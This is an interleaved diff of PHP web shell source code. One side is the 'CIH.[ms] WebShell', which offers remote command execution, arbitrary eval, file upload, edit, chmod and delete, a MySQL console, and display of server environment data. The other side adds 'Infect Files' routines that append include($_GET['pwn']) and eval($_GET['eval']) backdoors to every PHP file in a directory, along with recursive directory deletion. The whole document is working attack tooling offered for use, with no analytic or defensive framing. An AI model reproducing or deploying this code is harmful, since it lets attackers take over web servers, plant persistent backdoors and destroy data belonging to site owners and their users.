do_footer($ver);die();break;
403+
404-
case 'Upload':
404+
// Delete Directory
405-
if (isset($_FILES['userfile'])) {
405+
406-
$file = $_FILES['userfile'];
406+
407-
$curdir = $_POST['path'];
407+
408-
if(isset($_POST['newfilech']) && !empty($_POST['newfile'])) {$nfn=$_POST['newfile'];} else { $nfn = $file['name']; }
408+
if(isset($mydir) && $mydir != "$dir") {
409-
if($file['error']!=0) error($file['error']);
409+
410-
else{copy($file['tmp_name'], $curdir.'/'.$nfn);if(!file_exists($curdir.'/'.$file['name']))error("Upload failed. (Can't copy temp file ".$file['tmp_name']." into current directory)", $ver);else{notice("File ".$nfn." was uploaded successfuly..</div>");}}}
410+
$d = dir($mydir);
411-
echo "<table style='width:100%; font-size:10px;'><tr style='background:#272727;' ><td  style='padding:10px; border-top:1px solid #2e2e2e;'><b>Upload from your computer:</b></td></tr>
411+
412-
<tr style='background:#242424;' ><td style='padding:10px;'><form action='' enctype='multipart/form-data' method='post' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='$path'> <input type='hidden' name='fileact' value='Upload'><input name='userfile' size='85' value='' class='form' type='file' style='border:1px solid #444;'><br/><br/>New name :<input name='newfilech'  value='1' type='checkbox'><input type='text' name='newfile' style='width:20%;' class='form' value='filename.php'/><input type='submit' style='width:60px;' class='form' value='go!'></form></td></tr>
412+
while($entry = $d->read()) {
413-
<tr style='background:#252525;'><td  style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr>
413+
414-
<tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr></table>";do_footer($ver);die();break;
414+
 if ($entry !== "." && $entry !== "..") {
415-
}}
415+
416-
# File Manager : File actions
416+
 unlink($entry);
417-
if(isset($_POST['newname'])) // rename
417+
418-
{rename($_POST['ffile'], $_POST['newname']);if(!file_exists($_POST['newname'])){error('Could not rename '); }notice("File was successfuly renamed to &nbsp;".$_POST['newname']."...");}
418+
419-
if(isset($_POST['newpath'])) //copy
419+
420-
{copy($_POST['ffile'], $_POST['newpath']);if(!file_exists($_POST['newpath'])){error('Could not copy file'); }echo " <div class='notice'>File was successfuly copied to &nbsp;<b>".$_POST['newpath']."</b>...</div>";}
420+
421-
if(isset($_POST['chmod'])) // chmod
421+
422-
{$a =  chmod($_POST['ffile'], $_POST['chmod']);if(!$a){error('Could not change permissions :o(', $ver);}echo " <div class='notice'>We hope that permissions for file were successfuly  changed to &nbsp;<b>".$_POST['chmod']."</b>&nbsp;^^</div>";}
422+
$d->close();
423-
if(isset($_POST['touch'])) // touch
423+
424-
{$dt = strtotime($_POST['touch']); if(!touch($_POST['ffile'], $dt)){ error('Could not change touch time...', $ver);} echo " <div class='notice'>We hope that touch for file were successfuly  changed to &nbsp;<b>".$_POST['touch']."</b>&nbsp;^^</div>";}
424+
rmdir($mydir);
425-
if (isset($_POST['ffile']) && isset($_POST['wrcont'])){ // write into file
425+
426-
$wrpath = $_POST['ffile']; $wrcont = $_POST['wrcont'];$fh = fopen($wrpath, 'w');if ($fh){fwrite($fh, $wrcont);fclose($fh); }else {error('Couldn\'t write to file..');}echo "<div class='notice'>File&nbsp;<b>$wrpath</b> &nbsp; was successfuly modified</div>";}
426+
427-
if (isset($_POST['nfname']) && isset($_POST['curdir']) && isset($_POST['wrcont'])) // new file
427+
428-
{$file1 = $_POST['curdir']."/".$_POST['nfname'];$fh = fopen($file1, 'w');$r = fwrite($fh, $_POST['wrcont']);fclose($fh);if (!file_exists($file1)){error('Could not create a file..');} else {notice("File was successfuly created");}}
428+
429-
if (isset($_POST['dirname']) && isset($_POST['curdir']))  // new directory
429+
430-
{$curdir = $_POST['curdir']; mkdir($curdir.'/'.$_POST['dirname']);if(file_exists($curdir.'/'.$_POST['dirname'])){notice($curdir.'/'.$_POST['dirname']."&nbsp;was successfuly created.");}else{error('An error occured while creating dir', $ver);}
430+
431
432-
# File Manager : Directory actions
432+
//Infect Files [RFI]
433-
if (isset($_POST['ddo']) && isset($_POST['dirr'])){
433+
434-
switch($_POST['ddo']){
434+
435-
case 'rename':
435+
436-
echo" <form method='post' action='' style='margin:0px;'><input type='hidden' name='path' value='".$pwd."'><input type='text' name='ffile' class='form'  value='".$_POST['dirr']."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newname' class='form'  value='".$_POST['dirr']."'  style='width:40%'><input type='submit' style='width:60px;' class='form' value='rename!'></form><br/>";
436+
if(isset($_POST['inf3ct']))
437-
do_footer($ver);die();break;
437+
438-
   case 'delete':
438+
439-
rmdir($_POST['dirr']);if(file_exists($_POST['dirr'])){error('Could not delete directory');}notice($_POST['dirr']."&nbsp;was successfuly deleted.");do_footer($version);break;}}
439+
440-
if (isset($_POST['fdo']) && isset($_POST['ffile']) && $_POST['fdo']=='delete'){
440+
foreach (glob("*.php") as $lola)
441-
unlink($_POST['ffile']);if(file_exists($_POST['ffile'])){error('Could not delete file');}notice("<b>".$_POST['ffile']."</b>&nbsp;was successfuly deleted.");break;
441+
442-
}if(isset($_POST['diract']))
442+
443-
{$path = $_POST['cmdir']; $perms = fperms($_POST['cmdir']);
443+
444-
echo"
444+
$dira = '.';
445-
<div  style='padding:2px;'><div style='background:#272727; padding:3px; margin-bottom:3px;text-align:left;'><b>File actions</b></div><div style='background:#272727; padding:3px;  font-size:9px; text-align:left;'>dir:$path&nbsp;&nbsp;|&nbsp;&nbsp; permissions: <b>$perms </b>&nbsp;&nbsp;</div><div style='padding:4px; padding-left:30px; font-size:9px; font-weight:bold; color:#999; text-align:left;'><form method='post' action=''><input type='hidden' name='dirr' value='$path'><input type='hidden' name='path' value='$path'><input type='hidden' name='curpath' value='$pp'><input type='hidden' name='filename' value='$ppp'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;><input type='submit' class='m' name='ddo' value='rename' style='margin-bottom:0px; background:#222;'><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;><input type='submit' class='m' name='ddo' value='delete' style='margin-bottom:0px; background:#222;'><br/><br/><br/></form></div><div style='background:#272727; font-size:9px;'>&nbsp;</div></div>";do_footer($ver);die();}
445+
446-
# switch $do
446+
$asdi = fopen($lola, 'a+');
447-
#
447+
448-
if (isset($_REQUEST['do']))
448+
@fwrite($asdi, '
449
450-
switch ($_REQUEST['do']){
450+
451-
case 'mysql':
451+
452-
if (isset($_POST['mysqlw_host'])){$dbhost = $_POST['mysqlw_host'];} else {$dbhost = 'localhost';}if (isset($_POST['mysqlw_db'])){$dbname  = $_POST['mysqlw_db'];} else {$dbname = 'dbname';}if (isset($_POST['mysqlw_login'])){$dblogin = $_POST['mysqlw_login'];}else {$dblogin = 'dblogin';}if (isset($_POST['mysqlw_passw'])){$dbpass = $_POST['mysqlw_passw'];}else {$dbpass = 'dbpassword';}if (isset($_POST['mysqlw_port'])){$dbport = $_POST['mysqlw_port'];} else {$dbport = '3306';}if (!empty($_POST['sql'])){echo '<div >';$sqlq =  $_POST['sql'];$db = mysql_connect($dbhost.':'.$dbport,$dblogin,$dbpass);if($db)
452+
include($_GET[\'pwn\']); 
453-
{if(!empty($_POST['mysqlw_db'])) { mysql_select_db($_POST['mysqlw_db'],$db); }$queries = explode(';',$sqlq);foreach($queries as $number=>$query) {
453+
454-
$number++;$r = safq($query); $error = mysql_error($db);if($error == 'Query was empty'){ break;}
454+
?>');
455-
echo "<div class='str' style='border-top:1px solid #333; '>query # <b>".$number."</b>:".htmlspecialchars($query)."</div>";
455+
456-
if ($error){ notice("Error : <b>".$error."</b>"); }
456+
@fclose($asdi);
457-
else {if(is_array($r)){echo '<table style="width:100%; background:#222;">';
457+
458-
if(is_array($r[0])){echo "<tr style='background:#292929; font-size:10px;'>";foreach($r[0] as $n=>$v){echo "<td style='padding:5px;'><b>$n</b></td>";}echo '</tr>';}foreach($r as $a){echo "<tr style='background:#232323;'>";
458+
459-
if(is_array($a)){foreach($a as $n=>$v){echo "<td class='my'>$v</td>";}}else{echo "<td class='file'>$a</td>";}echo '</tr>';}echo '</table>';}else{echo $r;}if(($rows = mysql_affected_rows($db))>=0) {
459+
460-
echo "<div class='str' style='margin-top:3px; border-bottom:1px solid #333; padding:3px;'>affected rows : <b>".$rows."</b></div>"; }
460+
if($asdi)
461-
}} mysql_close($db);}else {notice('Error: Could not connect to database..');} echo '</div>'; }
461+
462-
echo "<form action='' method='post' style='margin:0px; margin-top:15px;'>
462+
463-
<table style='width:100%; height:40%'><tr><td valign='top' style='background:#272727; padding:3px;'><textarea  class='txt' cols='70' rows='15' name='sql' style='width:100%; height:99%'>";
463+
464-
if(isset($_POST['sql'])){echo $_POST['sql'];} else echo 'SHOW DATABASES;';
464+
$textzz = '<font size=2 color=lightgreen>Oldu:<br> ?pwn=[shell]</font>';
465-
echo "</textarea></td><td style='width:150px; background:#272727;' valign='top' >
465+
466-
<input type='text' name='mysqlw_host' class='txt' style='margin:10px; height:24px;' value='$dbhost'/><input type='text' name='mysqlw_db'  class='txt' style='margin:10px; height:24px;'  value='$dbname'/><input type='text' name='mysqlw_login' class='txt' style='margin:10px; height:24px;'  value='$dblogin'/><input type='txt' name='mysqlw_passw'  class='txt' style='margin:10px; height:24px;'  value='$dbpass'/><input type='text' name='mysqlw_port'  class='txt' style='margin:10px; height:24px;'  value='$dbport'/><br/></td><tr><td colspan=2 valign='top' style='height:5%;'><input type='hidden' name='do' value='mysql'><input type='submit' class='txt' style='width:100%; margin:0px; margin-bottom:5px; ' value='go!'></td></tr></table></form><br/>";
466+
467-
do_footer($ver);   die(); break;
467+
468-
case 'server':
468+
469-
echo '<table class="str" style="width:100%">';foreach($_SERVER as $k=>$v)
469+
470-
{echo "<tr style='background:#262626; color:#666'><td style='padding:3px;'><b>$k</b></td><td>$v</td></tr>";}echo '</table>';do_footer($ver);
470+
$textzz = '<font size=2 color=red>HATA! (Permlere Dikkat Et..)</font>';
471-
die();break;
471+
472-
case 'envinfo':
472+
473-
echo '<table class="str" style=" width:100%">';foreach($_ENV as $k=>$v)
473+
474-
{echo "<tr style='background:#262626; color:#666'><td style='padding:3px;'><b>$k</b></td><td style='padding:3px;'>$v</td></tr>";}echo '</table><br/>';do_footer($ver);die();break;
474+
475-
case 'delete':
475+
476-
if(unlink(substr(strrchr($_SERVER['PHP_SELF'],"/"),1))==true){echo "<div class='notice'>cihshell has been deleted successfully..bye-bye ): </div><br/><br/>"; do_footer($ver);}else{error('Unable to delete shell', $ver);} die();break;
476+
477-
case 'eval':
477+
478-
echo "<form method='post' action='' style='padding:0px; margin-top:5px;'><input type='hidden' name='do' value='eval'  style='border-bottom:1px solid #444;'> <textarea  name='eval' class='form' style='height:100px;'>";
478+
//Infect Files [Eval]
479-
if (isset($_POST['eval'])){echo $_POST['eval'];} else {echo 'code here (:';}
479+
480-
echo "</textarea><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'></form><br/>";
480+
if(isset($_POST['evalinfect']))
481-
if (isset($_POST['eval'])){
481+
482-
echo "<table  class='txt'  style='margin-left:13px; width:98%; height:60%'><tr><td valign='top'>";code_eval();echo "</td></tr></table><br/>";}
482+
483-
do_footer($ver);die(); break;
483+
484-
case 'shell':
484+
foreach (glob("*.php") as $lal)
485-
echo " <textarea class='txt'  style='width:98%; height:60%; background:#262626' rows='30'>";if($safe_mode == 'On'){ echo "Safe mode is on..";}if(isset($_POST['alias'])){ foreach ($alias as $k=>$v) { if ($_POST['alias'] == $k){cmd_exec($v);}}} else {cmd_exec($safe_mode);}if(isset($_POST['cmdir'])) {$dirr = $_POST['cmdir'];} else {$dirr = $path;}echo "</textarea>";echo "<form method='post' action='' style='padding:0px; margin-top:5px; margin-bottom:15px;'><input type='hidden' name='do' value='shell'><input type='text'  name='cmd' value='";if (isset($_POST['cmd'])){echo $_POST['cmd'];} elseif ($os == 'win'){echo 'dir';} else{echo 'ls';}echo "'  class='form' style='width:98%; margin-bottom:2px;'><input type='text'  name='cmdir' value='$dirr'  class='form' style='color:#444;width:98%'><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'></form>";echo"<form method='post' action='' style='border-top:1px solid #282828; margin:0px;'><select name='alias' class='form' style='width:98%; margin-top:5px;'>";foreach($alias as $k=>$v){echo "<option>$k</option>";}echo "</select><input type='hidden' name='do' value='shell'><input type='hidden' name='cmdir' value='$dirr'><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'</form><br/><br/>";do_footer($ver);   die();break;
485+
486-
case 'cihshell':echo "<div class='str' style='text-align:center;'><table class='str' style='width:100%'><tr>
486+
487-
<td style='border-right:1px solid #333; width:200px;'><div style=' padding:50px; margin-top:50px; margin-bottom:50px; border-top:1px solid #333; border-bottom:1px solid #333;'>Coded by <b>Berkut</b>. <br/><br/>&copy; 2007 <br/><hr>Fixed by <b>DCRM</b>. <br/></br>&copy; 2008 <br/></div></td><td valign='top' style='padding-left:30px;'><br/><br/><span style='font-size:20px; color:#666;'>CIH.[ms] WebShell<sup style='font-size:12px; color:#444;'>&nbsp;v.$ver</sup></span><br/><br/><br/>It has so many strong points that it is impossible to write them here (:</td></tr></table></div>";do_footer($ver); die();break;
487+
488-
default: error('There is no such function',$ver);
488+
$dira = '.';
489-
break;}}
489+
490-
 # file actions
490+
$axd = fopen($lal, 'a+');
491-
if(is_file($path))
491+
492-
  {$perms = fperms($path); $size = filesize($path."/".$file); $size = conv_size($size); $size_fix = conv_size(filesize($path));  $pp = $_POST['f_path'];$ppp = $_POST['f_file'];
492+
@fwrite($axd, '
493-
echo "<div  style='padding:2px;'><div style='background:#292929; padding:10px; margin-bottom:3px; text-align:left;'><b>File actions</b></div><div style='background:#272727; padding:3px;  font-size:9px; text-align:left;'>file:&nbsp;<span style='color:#666;'>$path</span>&nbsp;&nbsp;|&nbsp;&nbsp; permissions: <b style='color:#666;'>$perms </b>&nbsp;&nbsp;|&nbsp;&nbsp; size: <span style='color:#666;'>$size_fix</span>&nbsp;&nbsp;|&nbsp;&nbsp; Create time: <span style='color:#666;'>".date("d.m.Y H:i:s",filectime($path))."</span>&nbsp;&nbsp;|&nbsp;&nbsp;Modify time: <span style='color:#666;'>".date("d.m.Y H:i:s",filemtime($path))."</span></div><table style='width:100%; font-size:10px;'><tr><td style='width:200px; border-right:1px solid #292929; vertical-align:top; padding:0px; padding-left:5px;'>      <form method='post' action=''><input type='hidden' name='ffile' value='$path'><input type='hidden' name='path' value='$path'><input type='hidden' name='curpath' value='$pp'><input type='hidden' name='filename' value='$ppp'><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'>      <input type='submit' class='fa' name='fdo' value='view' style=''></div><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'><input type='submit' class='fa' name='fdo' value='view in HEX' style=''></div>       <div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929; text-align:center; margin-top:5px;'>      <input type='submit' class='fa' name='fdo' value='edit'></div>       <div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'>      <input type='submit' class='fa' name='fdo' value='preview' ></div><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'><input type='submit' class='fa' name='fdo' value='download'></div><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:40px;'><input type='submit' class='fa1' name='fdo' value='delete'></div><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'>      <input type='submit' class='fa1' name='fdo' value='copy' ></div><div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='rename' ></div> <div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='chmod' ></div> <div style='width:200px; border-top:1px solid #292929;  border-bottom:1px solid #292929;  text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='touch' ></div></td><td style='padding:3px; vertical-align:top;'>";
493+
494-
 if (isset($_POST['fdo']) && isset($_POST['ffile'])){
494+
495-
$ffile = $_POST['ffile'];
495+
496-
switch($_POST['fdo']){
496+
eval(stripslashes($_GET[\'eval\'])); 
497-
case 'view':
497+
498-
fileread2($ffile, $stringnum);
498+
?>');
499-
break;
499+
500-
case 'view in HEX':
500+
@fclose($axd);
501
502-
$fi=fopen($path,"rb");
502+
503-
if ($fi) {$str = fread($fi,filesize($path));$n=0;$a0="00000000<br/>";$a1="";$a2="";
503+
504-
for ($i=0; $i<strlen($str); $i++) {$a1.=sprintf("%02X",ord($str[$i])).' ';switch (ord($str[$i])) {case 0:  $a2.="0"; break;case 32: case 10:case 13: $a2.="&nbsp;"; break;default:  $a2.=htmlspecialchars($str[$i]);}$n++;if ($n==$hexdump_rows) {$n=0;if ($i+1<strlen($str)) $a0.=sprintf("%08X",$i+1)."<br>";$a1.="<br>";$a2.="<br>";}}echo "<table style='font-size:10px;'><tr><td style='border-right:1px solid #292929; color:#444; padding:4px;'>$a0</td><td style='color:#666; padding:4px;'>$a1</td><td style='border-left:1px solid #292929; color:#444; padding:4px;'>$a2</td></tr>";echo"</table>";
504+
if($axd)
505-
}break;
505+
506-
case 'edit':
506+
507-
echo "<form method='post' action='' style='margin:0px; padding:0px;'><textarea cols='170' rows='34' class='txt' style='width:100%;' name='wrcont'> ";
507+
508-
fileread($ffile);echo "</textarea><input type='hidden' name='ffile' value='$ffile'><input type='hidden' name='path' value='".$path."'><input type='submit' name='wrfile' class='form' value='save file' style='width:100%; margin-top:5px;'></form><br/>"; break;
508+
$textz0 = '<font size=2 color=lightgreen>Oldu:<br> ?eval=[eval]</font>';
509-
case 'chmod':
509+
510-
echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='chmod' class='form'  value='".substr(sprintf('%o', fileperms($path)), -4)."' style='width:10%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form'  value='".$path."' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>";break;
510+
511
512-
case 'touch':
512+
513-
echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='touch' class='form'  value='".date("d M Y H:i:s",filemtime($path))."' style='width:15%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form'  value='".$path."' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>";break;
513+
514
$textz0 = '<font size=2 color=red>HATA! (Permler IZIn Vermior..)</font>';
515-
case 'rename':
515+
516-
echo" <form method='post' action=''  style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='ffile' class='form'  value='".$path."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newname' class='form'  value='".$path."'  style='width:40%'><input type='submit' style='width:60px;' class='form' value='rename!'></form><br/>";break;
516+
517-
case 'copy':
517+
518-
echo"<form method='post' action=''  style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='ffile' class='form'  value='".$path."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newpath' class='form'  value='".$path."'  style='width:40%'><input type='submit' style='width:60px;' class='form' value='copy!'></form><br/>";break; }}
518+
519
520-
$fh = fopen($path, 'r'); if (!$fh){error('Could not open file',$ver);}echo '<table style="font-size:10px;   width:100%; background:#222; ">';if ($stringnum){$i=1;while(!feof($fh) & $i<=30) {$line = fgets($fh);  echo '<tr style="background:#242424;"><td style="text-align:center;padding:3px; width:2%; border-right:1px solid #2e2e2e; color:#444;">'.$i.'</td><td>'.htmlspecialchars($line).'</td></tr>'; $i++;}}else {while(!feof($fh) & $i<=30) {$line = fgets($fh);  echo '<tr style="background:#242424;"><td>'.htmlspecialchars($line).'</td></tr>'; }}echo '</table>';}
520+
521-
echo '</td></tr></table></div>';do_footer($ver);die();}
521+
522-
elseif (is_dir($path))
522+
// Images
523-
 {
523+
524-
  $dirs=array();
524+
   if(@$_GET['com'] == "image")
525-
  $files=array();
525+
526-
  $dir=opendir($path);
526+
   {
527-
  while (($file=readdir($dir))!==false) { if ($file=="." || $file=="..") continue;
527+
528-
         if (is_dir("$path/$file"))  {$dirs[]=$file;}
528+
   $images = array(
529-
         else {$files[]=$file;}}closedir($dir);
529+
530
   "folder"=> "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAA3XAAAN1wFCKJt4AAAAB3RJTUUH1QsKEjkN+d1wUAAAAX9JREFUOMulkU2IUlEYhp9jKv5AposQWgRBtA6CmSCa5SzjYhG0qYggiP6Y3WxmtrMIol1QM84qRKRlSVC2bBcYRpuIIigFC7F7j0fP/WZx7QriBc2XDw6cw/e8L+9Rly6XtorF4jZTMsYE58Dc2tvdf0KE1J17t+X61RszH7X2eLb3lF6vd6VaqT2PBJSci7Q+taJMeNt4M331qFqpPQCIA6TTGY7k8pEA50IpcFMKpRS1F9X7QAAwxuB5Lq8/9ml2Msylww5nbjpSSOnPYYJmJ8PjjXW0sXMxUslD3H1YPxUH8DwXgJ+/NV/af+cCnDiaBSCmtSadnjP6DMVc1w0T/BfgXwdLARZNYK2PHgZlh7+QiPkIICIopRARRMAXwVphaH3MSBiMLEMr5LLJCcDzXI7nBnT7hh9dD0ThI4wHERAEkTEYGFmZAH512pw+e44PX/+MlwJ3EfARBAUiYaqVkwXqL1+R19/L6vy1nYabOLa2aHnZ4bf378qbqyyrA8KHtMqnsOL4AAAAAElFTkSuQmCC",
531
532-
else {error('it isn\'t a directory', $ver);}
532+
   "file"=> "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAP3SURBVHjaYtxx5BYDIwMUMDLESIjyTeRiZ2H4//8/WOgvEP/69Zfh5+9/DI8ev3jx9NGDKAYmpovc/MIMc6e0MwAEEAszEyPDP6h+pn9/ORWkBYV4OVlhRjL8Bprz5etfhncfPjP8l5IQ4uVh33Lt2i1foAUXQPIAAcSirC3F8PoXI8N7JmaGrw9f//z67S8DCzMrAwvjPwZWVkYGpv+MDIxAJzIB5VlZGBgsjTRlWFiYN99//BpsCEAAsbCxsTCwMjEx/P3NZPmcSTB2/UNmBsb//xi+fv3DoCH8l8FFlZmBg4WVgZ2dleHHr98Ml27cY/jPwCzDxc23BejLQIAAAEEAvv8CAwH/APT1/l/l7P+/IRwHREEtBQAmJgIA+g4GAKHUBgCGufQA9fb1AAgFAwASEAwA9ff+AOjr8QAFBgob/Pz9YQKI6ePP/7qH7zBP5GJhYtfjZ2KQAnqfCehUoIUMnFzMDBuv8TAsOPSeAWgk0GvMDNxc7AxCvOwM4sI8QJf8/wsQQCzbb/9L/vGLgd9KkoHh03cGhku/GBhefmVg+AjEQHFgxDAzrDr4ncFK/jkDDxcfMDwYGbi4OBhYgF4HBs1/gABiOnf9p/mrT78ZXv9hYHj3m4Hh8hMGhquPGBgevmRgeP+NgeHP5+8Mty98ZLj++D0DK/N/Bm4OdmDA/mDg52QDxztAADG9fPyDb/eRDwzTjvxmAJrBYAx0yV+gzfeBBvz68pfh64PXDOxcrAx//4Jih4mBDRgVPDxAlwDZoNgBCCCmPz//Pn15+iXDiyufGF5+ANnAwMD66yfDzcNPGIS/vWb4+uITAycvE1icmQUYlaysDF8/vwMGKhM4nQAEENOz84t2i4mJMHiYcDNI8DMyCAJdZi4FjB9LVgZ9VW4GEWleBgWJHwxSQEOYgdH5H5jsRETFGf4D0wUorQIEENODQ5MWq2h9uSUty8EgJcDAIMfOwOCpy8FQkibOoKbOy+AaKMbgYfiRQVxEDOhkFgZmYJp58fwJMGj/AkOAkQEggFh+fHj54uLq1PhTurMXPXqkpsr5+QMDDzczA5cML8OzN58YBN+dY7DSEGLgFxJl+AUMh3///jDIysgDww/kgv8MAAHEDPLH19ePnpzcsmzLzduvFT4zKGucOP+M4ffnZwyKrI8ZbDVEGBSUNYDqgRr+/WdgAtL37txgEAZ6Y9XKlacAAogFlmn+fnt3X+bv6e0L6tr8P757B4yJvwzcvIIMbBycDH+Bnv0NzI3ADMHw5+8/Bg1dYwYmNmB+YWXlAAggRE4GxsnUeev09+zalvDsySOgwYzgDA2y9T/Df3juBDFBPBYWNsbbN86fBAgwAD3nU17W2F2kAAAAAElFTkSuQmCC",
533-
if (!$dir){error('An error occured while opening directory&nbsp;'.$path, $ver);}
533+
534-
sort($dirs);
534+
   "floppy"=> "R0lGODlhECAQILMgIB8jVq2yyI0csGVuGcjL2v///9TY405WfqOmvjI+bHoaoQsMQxR+uubn7bu+0f///yH5BAEgIA8gLCAgICAQIBAgIAR/8CHEHlVq6HMZNEUYJGFZMiACFtxpCiBDHgLjEwogzLfZDAuBw0AsEn0eIAKocAR+E0Yls1koAn2skjLFDA7WQKlBJh6z4AEiVDZneDDFrNEwE95QRHwgaFOdSlx6CwcKdndOUQxxJgZgFgIYCjALCQN/eRUWIAsPIHggoSCdESA7"
535-
sort($files);
535+
536-
echo "<table style='width:100%; background:#222;'>";
536+
   );
537-
   echo "<tr><td colspan=6 class='filet' style='background:#282828; padding:0px; border-top:1px solid #2e2e2e; height:30px;'>";
537+
538-
# drives
538+
header("Content-type: image/gif");
539-
   if ($os == "win") {
539+
540-
    echo "<form method='post' action='' style='padding:0px; margin:0px; float:left;'>";echo "<input type='button' value='Drives:' class='fm' style='font-weight:bold;'>";for($d='c';$d<='z';$d++){if(is_dir($d.":/"))echo "<input type='submit' value='".$d.":/' class='fm' name='path'>";  }echo "</form>";}echo "<form method='post' action='' style='padding:0px; margin:0px; float:right;' >";
540+
header("Cache-control: public");
541-
echo "<input type='submit' name='diract' class='fm' value='directory actions' style='margin-bottom:0px; font-weight:bold; color:#666;'><input type='hidden' name='curdir' value='$path'><input type='hidden' name='cmdir' value='$path'><span style='color:#666;'>|</span><input type='submit' name='fileact'   value='New File' class='fm'><span style='color:#666;'>|</span><input type='submit'  style='margin:0px;' name='fileact' value='New Dir' class='fm'><span style='color:#666;'>|</span><input type='submit' name='fileact' value='Upload' class='fm'>";echo "</form>";
541+
542-
echo "</td></tr>";echo "<tr style='background:#272727;'><td  style='width:3%; '>&nbsp;</td><td style='width:300px; color:#888;' class='filet'><b>name</b></td><td class='filet' style='color:#888;'><b>size</b></td><td class='filet' style='color:#888;'><b>last modified</b></td><td class='filet' style='color:#888;'><b>permissions</b></td></tr>";echo "<form method='post' action=''><input type='hidden' name='f_path' value='$path'>";
542+
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
543-
for ($i=0; $i<count($dirs); $i++) {
543+
544-
$size = '---';
544+
header("Cache-control: max-age=".(60*60*24*7));
545-
$perms = fperms($path."/".$dirs[$i]);
545+
546-
$ico = '<b>dir</b>';
546+
header("Last-Modified: ".date("r",filemtime(__FILE__)));
547-
$last_mod = date('d.m.y  H:i:s', fileatime($path."/".$file));if(!$last_mod){$last_mod = "---";}
547+
548-
echo" <tr style='background:#252525;'><td  class='ico'>[$ico]</td><td style='width:300px;'><input type='submit' name='f_file' class='dir' value='$dirs[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";}
548+
$image = $images[$_GET['img']];
549
550-
 for ($i=0; $i<count($files); $i++) {
550+
 echo  base64_decode($image);
551-
# filesize
551+
552-
if (is_link($path."/".$files[$i])) {$size = "---";} else {$size = filesize($path."/".$files[$i]); $size = conv_size($size);  if($size == '0B'){$size = '---';} }
552+
553-
# date
553+
554-
$last_mod = date('d.m.y  H:i:s', fileatime($path."/".$files[$i]));if(!$last_mod){$last_mod = "---";}
554+
//File List
555-
#perms
555+
556-
$perms = fperms($path."/".$files[$i]);
556+
557-
#filetype (ico)
557+
558-
$ico = ''; if(is_link($path."/".$files[$i])) {$ico = 'link';}
558+
   chdir($dir);
559-
else{
559+
560-
// filetypes for file manager
560+
   if(!isset($dir)) { $dir = @realpath("."); }
561-
$filetypes  = array(
561+
562-
"php"=> array("php","phtml","php3","php4","inc"),
562+
    if($dir != "/") { $dir = @realpath("."); } else { $dir = "."; }
563-
"exe"=>array("sh","install","bat","cmd"),
563+
564-
"ini"=>array("ini","inf"),
564+
   if (substr($dir,-1) != DIRECTORY_SEPARATOR) {$dir .= DIRECTORY_SEPARATOR;}
565-
"html"=>array("html","htm","shtml"),
565+
566-
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"),
566+
   $pahtw = 0;
567-
"code"=>array("tcl","h","c","cpp", "pl", "cgi"),
567+
568-
"img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
568+
   $filew = 0;
569-
"sdb"=>array("sdb"),
569+
570-
"sess"=>array("sess"),
570+
   $num = 1;
571-
"dwnld"=>array("exe","com","pif","src","lnk","zip","rar")
571+
572-
);
572+
573-
$filename = $files[$i]; $ext = explode(".",$filename);$c = count($ext)-1;$ext = $ext[$c];$ext = strtolower($ext);$rft = "";foreach($filetypes as $key=>$value){if (in_array($ext,$value)) {$ico = $key; break;} } if($ico==''){$ico = 'none';}}
573+
574-
